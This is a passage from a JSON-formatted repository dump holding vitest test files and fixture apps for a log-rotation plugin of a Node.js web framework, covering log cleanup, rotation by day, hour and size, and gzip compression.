= `foo.log.${now.clone().subtract(33, 'days').format('YYYY-MM-DD-HH')}`;\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(false);\n  });\n\n  it('should error when readdir err', async () => {\n    mm(fsPromises, 'readdir', async (dir: string) => {\n      throw new Error(`Permission: readdir ${dir}`);\n    });\n    let message = '';\n    mm(app.coreLogger, 'error', (err: Error) => (message = err.message));\n\n    const filepath = `foo.log.${now.clone().subtract(35, 'days').format('YYYY-MM-DD')}`;\n    fs.writeFileSync(path.join(logDir, filepath), 'foo');\n\n    await app.runSchedule(schedule);\n\n    expect(message).toMatch(/Permission: readdir/);\n    // unlink error, file should exist\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(true);\n  });\n\n  it('should ignore clean when exception', async () => {\n    mm(fsPromises, 'unlink', async (file: string) => {\n      throw new Error(`unlink ${file} error`);\n    });\n    let message = '';\n    mm(app.coreLogger, 'error', (err: Error) => (message = err.message));\n\n    const filepath = `foo.log.${now.clone().subtract(34, 'days').format('YYYY-MM-DD')}`;\n    fs.writeFileSync(path.join(logDir, filepath), 'foo');\n\n    await app.runSchedule(schedule);\n\n    expect(message).toMatch(/unlink .*?foo.log.\\d{4}-\\d{2}-\\d{2} error$/);\n    // unlink error, file should exist\n    expect(fs.existsSync(path.join(logDir, filepath))).toBe(true);\n  });\n\n  it('should disable clean log when set maxDays = 0', async () => {\n    mm(app.config.logrotator, 'maxDays', 0);\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(1, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(7, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(31, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(32, 'days').format('YYYY-MM-DD')}`), 'foo');\n    fs.writeFileSync(path.join(logDir, `foo.log.${now.clone().subtract(33, 'days').format('YYYY-MM-DD')}`), 'foo');\n\n    await app.runSchedule(schedule);\n\n    expect(fs.existsSync(path.join(logDir, `foo.log.${now.format('YYYY-MM-DD')}`))).toBe(true);\n    expect(fs.existsSync(path.join(logDir, `foo.log.${now.clone().subtract(1, 'days').format('YYYY-MM-DD')}`))).toBe(\n      true,\n    );\n    expect(fs.existsSync(path.join(logDir, `foo.log.${now.clone().subtract(7, 'days').format('YYYY-MM-DD')}`))).toBe(\n      true,\n    );\n    expect(fs.existsSync(path.join(logDir, `foo.log.${now.clone().subtract(31, 'days').format('YYYY-MM-DD')}`))).toBe(\n      true,\n    );\n    expect(fs.existsSync(path.join(logDir, `foo.log.${now.clone().subtract(32, 'days').format('YYYY-MM-DD')}`))).toBe(\n      true,\n    );\n    expect(fs.existsSync(path.join(logDir, `foo.log.${now.clone().subtract(33, 'days').format('YYYY-MM-DD')}`))).toBe(\n      true,\n    );\n  });\n\n  // windows can't remove un close file, ignore it\n  it.skipIf(process.platform === 'win32')('should ignore when log dir not exists', async () => {\n    let message: string | undefined;\n    mm(app.coreLogger, 'error', (err: Error) => (message = err.message));\n\n    const customLoggerDir = path.join(app.config.customLogger.bizLogger.file, '..');\n    const logfile = path.join(customLoggerDir, `biz.log.${now.clone().subtract(1, 'years').format('YYYY-MM-DD')}`);\n    fs.writeFileSync(logfile, 'foo');\n    await rm(customLoggerDir, { recursive: true, force: true });\n\n    await app.runSchedule(schedule);\n    expect(message).toBeUndefined();\n    await mkdir(customLoggerDir, { recursive: true });\n  });\n});\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/clean-log/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  customLogger: {\n    bizLogger: {\n      file: path.join(__dirname, '../logs', 'mybiz', 'biz.log'),\n      consoleLevel: 'NONE',\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/clean-log/package.json",
    "content": "{\n  \"name\": \"clean-log\"\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logger-reload/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  agent.coreLogger.warn('agent warn');\n  agent.coreLogger.error('agent error');\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logger-reload/app/router.js",
    "content": "const path = require('node:path');\n\nmodule.exports = (app) => {\n  app.get('/log', async function () {\n    this.logger.warn('%s %s', this.method, this.path);\n    this.logger.error(new Error('error'));\n    this.body = {\n      method: this.method,\n      path: this.path,\n    };\n  });\n\n  app.get('/rotate', async function () {\n    const schedule = path.join(__dirname, '../../../../src/app/schedule/rotate_by_file.ts');\n    await app.runSchedule(schedule);\n    this.body = 'done';\n  });\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logger-reload/config/config.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logger-reload/package.json",
    "content": "{\n  \"name\": \"logger-reload\"\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-agent/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  // won't find egg-agent from rotateLogDirs\n  app.config.logger.rotateLogDirs = [];\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-agent/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  logger: {\n    agentLogName: 'my-agent.log',\n  },\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-agent/package.json",
    "content": "{\n  \"name\": \"logrotator-agent\",\n  \"private\": true\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  agent.messenger.on('log-reload', () => console.log('agent got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.app.loggers.bizLogger.warn('hi biz logger');\n    this.app.loggers.relativeLogger.warn('hi relative logger');\n    this.body = 123;\n  });\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.messenger.on('log-reload', () => {\n    console.log('app got log-reload');\n  });\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = () => {\n  const exports = {\n    logrotator: {\n      filesRotateByHour: [path.join(__dirname, '../logs', 'logrotator', 'hour.log')],\n      filesRotateBySize: [\n        path.join(__dirname, '../logs', 'logrotator', 'egg-web.log'),\n        path.join(__dirname, '../logs', 'logrotator', 'size.log'),\n      ],\n      maxFileSize: 1024,\n      maxFiles: 2,\n      rotateDuration: 30000,\n    },\n\n    customLogger: {\n      bizLogger: {\n        file: path.join(__dirname, '../logs', 'mybiz', 'biz.log'),\n        consoleLevel: 'NONE',\n      },\n      relativeLogger: {\n        file: 'relative.log',\n        consoleLevel: 'NONE',\n      },\n      sizeLogger: {\n        file: path.join(__dirname, '../logs', 'logrotator', 'size.log'),\n      },\n      hourLogger: {\n        file: path.join(__dirname, '../logs', 'logrotator', 'hour.log'),\n      },\n      foo1Logger: {\n        file: path.join(__dirname, '../logs', 'logrotator', 'foo1.log'),\n      },\n    },\n  };\n  return exports;\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app/package.json",
    "content": "{\n  \"name\": \"logrotator\",\n  \"private\": true,\n  \"dependencies\": {}\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-day-gzip/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('log-reload', () => console.log('agent got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-day-gzip/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = 123;\n  });\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-day-gzip/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('log-reload', () => console.log('app got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-day-gzip/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  const exports = {\n    logrotator: {\n      gzip: true,\n    },\n  };\n  return exports;\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-day-gzip/package.json",
    "content": "{\n  \"name\": \"logrotator-app-day-gzip\"\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('log-reload', () => console.log('agent got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = 123;\n  });\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('log-reload', () => console.log('app got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  const exports = {\n    logrotator: {\n      filesRotateByHour: [\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/egg-web.log`),\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/egg-web.log`),\n        // relative path\n        'egg-web.log',\n        // ignore unexist file\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/no-exist.log`),\n      ],\n    },\n  };\n  return exports;\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour/package.json",
    "content": "{\n  \"name\": \"logrotator-app-size\"\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour-custom_hourdelimiter/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('log-reload', () => console.log('agent got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour-custom_hourdelimiter/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = 123;\n  });\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour-custom_hourdelimiter/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('log-reload', () => console.log('app got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour-custom_hourdelimiter/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  const exports = {\n    logrotator: {\n      filesRotateByHour: [\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/egg-web.log`),\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/egg-web.log`),\n        // relative path\n        'egg-web.log',\n        // ignore unexist file\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/no-exist.log`),\n      ],\n      hourDelimiter: '_',\n    },\n  };\n  return exports;\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour-custom_hourdelimiter/package.json",
    "content": "{\n  \"name\": \"logrotator-app-hour-custom_hourdelimiter\"\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour-gzip/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('log-reload', () => console.log('agent got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour-gzip/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = 123;\n  });\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour-gzip/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('log-reload', () => console.log('app got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour-gzip/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  const exports = {\n    logrotator: {\n      gzip: true,\n      filesRotateByHour: [\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/egg-web.log`),\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/egg-web.log`),\n        // relative path\n        'egg-web.log',\n        // ignore unexist file\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/no-exist.log`),\n      ],\n    },\n  };\n  return exports;\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-hour-gzip/package.json",
    "content": "{\n  \"name\": \"logrotator-app-hour-gzip\"\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-size/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('log-reload', () => console.log('agent got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-size/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = 123;\n  });\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-size/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('log-reload', () => console.log('app got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-size/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  const exports = {\n    logrotator: {\n      filesRotateBySize: [\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/egg-web.log`),\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/egg-web.log`),\n        'egg-web.log',\n        // ignore unexist file\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/no-exist.log`),\n      ],\n      maxFileSize: 1,\n      maxFiles: 2,\n      rotateDuration: 60000,\n    },\n  };\n  return exports;\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-size/package.json",
    "content": "{\n  \"name\": \"logrotator-app-size\"\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-size-gzip/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('log-reload', () => console.log('agent got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-size-gzip/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = 123;\n  });\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-size-gzip/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('log-reload', () => console.log('app got log-reload'));\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-size-gzip/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  const exports = {\n    logrotator: {\n      gzip: true,\n      filesRotateBySize: [\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/egg-web.log`),\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/egg-web.log`),\n        'egg-web.log',\n        // ignore unexist file\n        path.join(appInfo.baseDir, `logs/${appInfo.name}/no-exist.log`),\n      ],\n      maxFileSize: 1,\n      maxFiles: 2,\n      rotateDuration: 60000,\n    },\n  };\n  return exports;\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-app-size-gzip/package.json",
    "content": "{\n  \"name\": \"logrotator-app-size-gzip\"\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-default/package.json",
    "content": "{\n  \"name\": \"logrotator-default\"\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-json-format/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = () => {\n  const exports = {\n    logger: {\n      outputJSON: true,\n    },\n    logrotator: {\n      filesRotateByHour: [\n        path.join(__dirname, '../logs', 'logrotator', 'hour.log'),\n        path.join(__dirname, '../logs', 'logrotator', 'hour.json.log'),\n      ],\n      filesRotateBySize: [\n        path.join(__dirname, '../logs', 'logrotator', 'size.log'),\n        path.join(__dirname, '../logs', 'logrotator', 'size.json.log'),\n      ],\n      maxFileSize: 1,\n      maxFiles: 2,\n    },\n    customLogger: {\n      dayLogger: {\n        file: path.join(__dirname, '../logs', 'logrotator', 'day.log'),\n      },\n      sizeLogger: {\n        file: path.join(__dirname, '../logs', 'logrotator', 'size.log'),\n      },\n      hourLogger: {\n        file: path.join(__dirname, '../logs', 'logrotator', 'hour.log'),\n      },\n    },\n  };\n  return exports;\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/logrotator-json-format/package.json",
    "content": "{\n  \"name\": \"logrotator\",\n  \"private\": true,\n  \"dependencies\": {}\n}\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/noexist-rotator-dir/config/config.default.js",
    "content": "'use strict';\n\nexports.logger = {\n  rotateLogDirs: ['/no/exists'],\n};\n"
  },
  {
    "path": "plugins/logrotator/test/fixtures/noexist-rotator-dir/package.json",
    "content": "{\n  \"name\": \"noexist-rotator-dir\"\n}\n"
  },
  {
    "path": "plugins/logrotator/test/index.test.ts",
    "content": "import { describe, it, expect } from 'vitest';\n\nimport { LogRotator } from '../src/index.ts';\n\ndescribe('test/index.test.ts', () => {\n  it('should export LogRotator', () => {\n    expect(LogRotator).toBeDefined();\n  });\n});\n"
  },
  {
    "path": "plugins/logrotator/test/logrotator.test.ts",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\nimport { createUnzip } from 'node:zlib';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport moment from 'moment';\nimport { describe, it, beforeEach, afterEach, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\n// TODO: flaky test\ndescribe.skip('reload logger', () => {\n  let app: MockApplication;\n  const baseDir = getFixtures('logger-reload');\n  beforeAll(() => {\n    app = mm.cluster({\n      baseDir: getFixtures('logger-reload'),\n    });\n    return app.ready();\n  });\n  // logging to files\n  beforeEach(() => {\n    return app\n      .httpRequest()\n      .get('/log')\n      .expect({\n        method: 'GET',\n        path: '/log',\n      })\n      .expect(200);\n  });\n  // start rotating\n  beforeEach(() => {\n    return app.httpRequest().get('/rotate').expect(200);\n  });\n\n  afterAll(() => app.close());\n\n  it('should reload worker loggers', async () => {\n    await scheduler.wait(2000);\n\n    const logname = moment().subtract(1, 'days').format('.YYYY-MM-DD');\n    const logfile1 = path.join(baseDir, 'logs/logger-reload/logger-reload-web.log');\n    const content1 = fs.readFileSync(logfile1, 'utf8');\n    expect(content1).toBe('');\n\n    const logfile2 = path.join(baseDir, `logs/logger-reload/logger-reload-web.log${logname}`);\n    const content2 = fs.readFileSync(logfile2, 'utf8');\n    expect(content2).toMatch(/GET \\//);\n\n    const logfile3 = path.join(baseDir, `logs/logger-reload/egg-agent.log${logname}`);\n    const content3 = fs.readFileSync(logfile3, 'utf8');\n    expect(content3).toMatch(/agent warn/);\n\n    await app.httpRequest().get('/log').expect(200);\n\n    // will logging to new file\n    const content4 = fs.readFileSync(logfile1, 'utf8');\n    expect(content4).toMatch(/GET \\//);\n  });\n});\n\ndescribe('rotate_by_hour', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('logrotator-app-hour'),\n      cache: false,\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_hour.ts');\n\n  it('should rotate log file default', async () => {\n    await app.runSchedule(schedule);\n\n    const logDir = app.config.logger.dir;\n    const date = moment().subtract(1, 'hours').format('YYYY-MM-DD-HH');\n    expect(fs.existsSync(path.join(logDir, `egg-web.log.${date}`))).toBe(true);\n    expect(fs.existsSync(path.join(logDir, 'egg-web.log'))).toBe(false);\n  });\n});\n\ndescribe('rotate_by_hour, use custom hourDelimiter', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('logrotator-app-hour-custom_hourdelimiter'),\n      cache: false,\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_hour.ts');\n\n  it('should rotate log file default', async () => {\n    await app.runSchedule(schedule);\n\n    const logDir = app.config.logger.dir;\n    const date = moment().subtract(1, 'hours').format('YYYY-MM-DD_HH');\n    expect(fs.existsSync(path.join(logDir, `egg-web.log.${date}`))).toBe(true);\n    expect(fs.existsSync(path.join(logDir, 'egg-web.log'))).toBe(false);\n  });\n});\n\ndescribe('logrotator default', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('logrotator-default'),\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should disable rotate_by_size', () => {\n    const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_size.ts');\n    expect(app.schedules[schedule].schedule.disable).toBe(true);\n  });\n\n  it('should disable rotate_by_hour', () => {\n    const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_hour.ts');\n    expect(app.schedules[schedule].schedule.disable).toBe(true);\n  });\n  it('should default enable rotate_by_day ', () => {\n    const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_file.ts');\n    expect(app.schedules[schedule].schedule.disable).toBe(false);\n  });\n});\n\ndescribe('rotateLogDirs not exist', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('noexist-rotator-dir'),\n      cache: false,\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should not throw', async () => {\n    const logDir = app.config.logger.dir;\n    const now = moment().startOf('date');\n    const date = now.clone().subtract(1, 'days').format('YYYY-MM-DD');\n    const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_file.ts');\n    await app.runSchedule(schedule);\n\n    const content = fs.readFileSync(path.join(logDir, `common-error.log.${date}`), 'utf8');\n    expect(content).toBe('');\n  });\n});\n\ndescribe('agent logger', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('logrotator-agent'),\n      cache: false,\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should be rotated', async () => {\n    const logDir = app.config.logger.dir;\n    const now = moment().startOf('date');\n    const date = now.clone().subtract(1, 'days').format('YYYY-MM-DD');\n    const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_file.ts');\n    await app.runSchedule(schedule);\n\n    expect(fs.existsSync(path.join(logDir, `my-agent.log.${date}`))).toBe(true);\n  });\n});\n\ndescribe('json logger', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('logrotator-json-format'),\n      cache: false,\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should be rotated by day', async () => {\n    const logDir = app.config.logger.dir;\n    const now = moment().startOf('date');\n    const date = now.clone().subtract(1, 'days').format('YYYY-MM-DD');\n    const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_file.ts');\n    await app.runSchedule(schedule);\n\n    expect(fs.existsSync(path.join(logDir, `day.log.${date}`))).toBe(true);\n    expect(fs.existsSync(path.join(logDir, `day.json.log.${date}`))).toBe(true);\n  });\n\n  it('should be rotated by hour', async () => {\n    const logDir = app.config.logger.dir;\n    const date = moment().subtract(1, 'hours').format('YYYY-MM-DD-HH');\n    const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_hour.ts');\n    await app.runSchedule(schedule);\n\n    expect(fs.existsSync(path.join(logDir, `hour.log.${date}`))).toBe(true);\n    expect(fs.existsSync(path.join(logDir, `hour.json.log.${date}`))).toBe(true);\n  });\n\n  it('should be rotated by size', async () => {\n    app.getLogger('sizeLogger').info('size');\n    // wait flush\n    await scheduler.wait(1000);\n\n    const logDir = app.config.logger.dir;\n    const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_size.ts');\n    await app.runSchedule(schedule);\n\n    expect(fs.existsSync(path.join(logDir, 'size.log.1'))).toBe(true);\n    expect(fs.existsSync(path.join(logDir, 'size.json.log.1'))).toBe(true);\n  });\n});\n\ndescribe('rotate_by_hour_gzip', () => {\n  let app: MockApplication;\n  const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_hour.ts');\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('logrotator-app-hour-gzip'),\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should rotate by size and use zlib.gzip compress', async () => {\n    await app.runSchedule(schedule);\n    await scheduler.wait(100);\n    const logDir = app.config.logger.dir;\n    const date = moment().subtract(1, 'hours').format('YYYY-MM-DD-HH');\n    const file = path.join(logDir, `egg-web.log.${date}.gz`);\n    expect(fs.existsSync(file)).toBe(true);\n    const gzip = createUnzip();\n    fs.createReadStream(file).pipe(gzip);\n    gzip.on('data', (data) => {\n      expect(data.toString().includes('logrotator-app-hour-gzip')).toBe(true);\n    });\n    await scheduler.wait(100);\n  });\n});\n\ndescribe('rotate_by_day_gzip', () => {\n  let app: MockApplication;\n  const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_file.ts');\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('logrotator-app-day-gzip'),\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should rotate by size and use zlib.gzip compress', async () => {\n    await app.runSchedule(schedule);\n    await scheduler.wait(100);\n    const logDir = app.config.logger.dir;\n    const now = moment().startOf('date');\n    const date = now.clone().subtract(1, 'days').format('YYYY-MM-DD');\n    const file = path.join(logDir, `egg-web.log.${date}.gz`);\n    expect(fs.existsSync(file)).toBe(true);\n    const gzip = createUnzip();\n    fs.createReadStream(file).pipe(gzip);\n    gzip.on('data', (data) => {\n      expect(data.toString().includes('logrotator-app-day-gzip')).toBe(true);\n    });\n    await scheduler.wait(100);\n  });\n});\n\ndescribe('rotate_by_size_gzip', () => {\n  let mockfile: string;\n  let app: MockApplication;\n  const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_size.ts');\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: getFixtures('logrotator-app-size-gzip'),\n    });\n    return app.ready();\n  });\n  beforeEach(() => {\n    mockfile = path.join(app.config.logger.dir, 'egg-web.log');\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should rotate by size', async () => {\n    await app.runSchedule(schedule);\n    await scheduler.wait(100);\n    const file = `${mockfile}.1.gz`;\n    expect(fs.existsSync(file)).toBe(true);\n    const gzip = createUnzip();\n    fs.createReadStream(file).pipe(gzip);\n    gzip.on('data', (data) => {\n      expect(data.toString().includes('logrotator-app-size-gzip')).toBe(true);\n    });\n    await scheduler.wait(100);\n  });\n});\n"
  },
  {
    "path": "plugins/logrotator/test/rotate_by_day.test.ts",
    "content": "import fs from 'node:fs';\nimport fsPromises from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { glob } from 'glob';\nimport moment from 'moment';\nimport { describe, it, afterEach, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('rotate_by_day', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    fs.rmSync(getFixtures('logrotator-app/logs'), {\n      force: true,\n      recursive: true,\n    });\n    app = mm.app({\n      baseDir: getFixtures('logrotator-app'),\n      cache: false,\n    });\n    return app.ready();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  const schedule = path.join(import.meta.dirname, '../src/app/schedule/rotate_by_file.ts');\n  const now = moment().startOf('date');\n\n  it('should export app.LogRotator', () => {\n    expect(app.LogRotator).toBeDefined();\n  });\n\n  it('should export agent.LogRotator', () => {\n    expect(app.agent.LogRotator).toBeDefined();\n  });\n\n  it('should throw when not implement getRotateFiles', async () => {\n    const LogRotator = app.LogRotator;\n    try {\n      // @ts-expect-error impl by sub class\n      await new LogRotator({ app }).rotate();\n      throw new Error('should not throw');\n    } catch (err: any) {\n      expect(err.message).toMatch(/is not a function/);\n    }\n  });\n\n  it.skipIf(process.platform === 'win32')('should rotate log file default', async () => {\n    await app.runSchedule(schedule);\n    await scheduler.wait(1000);\n\n    const files = glob.sync(path.join(app.config.logger.dir, '*.log.*'));\n    expect(files.length).toBeGreaterThan(4);\n    expect(files.some((name) => name.includes('foo1.log.'))).toBe(true);\n    expect(files.some((name) => name.includes('relative.log.'))).toBe(true);\n    for (const file of files) {\n      expect(file).toMatch(/log.\\d{4}-\\d{2}-\\d{2}$/);\n    }\n\n    const logDir = app.config.logger.dir;\n    const date = now.clone().subtract(1, 'days').format('YYYY-MM-DD');\n    // expect(fs.existsSync(path.join(logDir, `egg-web.log.${date}`))).toBe(true);\n    // assert.equal(fs.existsSync(path.join(logDir, 'egg-web.log')), false);\n    expect(fs.existsSync(path.join(logDir, `egg-agent.log.${date}`))).toBe(true);\n    // schedule will not reload logger\n    // expect(fs.existsSync(path.join(logDir, 'egg-agent.log'))).toBe(false);\n    // expect(fs.existsSync(path.join(logDir, `logrotator-web.log.${date}`))).toBe(true);\n    // expect(fs.existsSync(path.join(logDir, 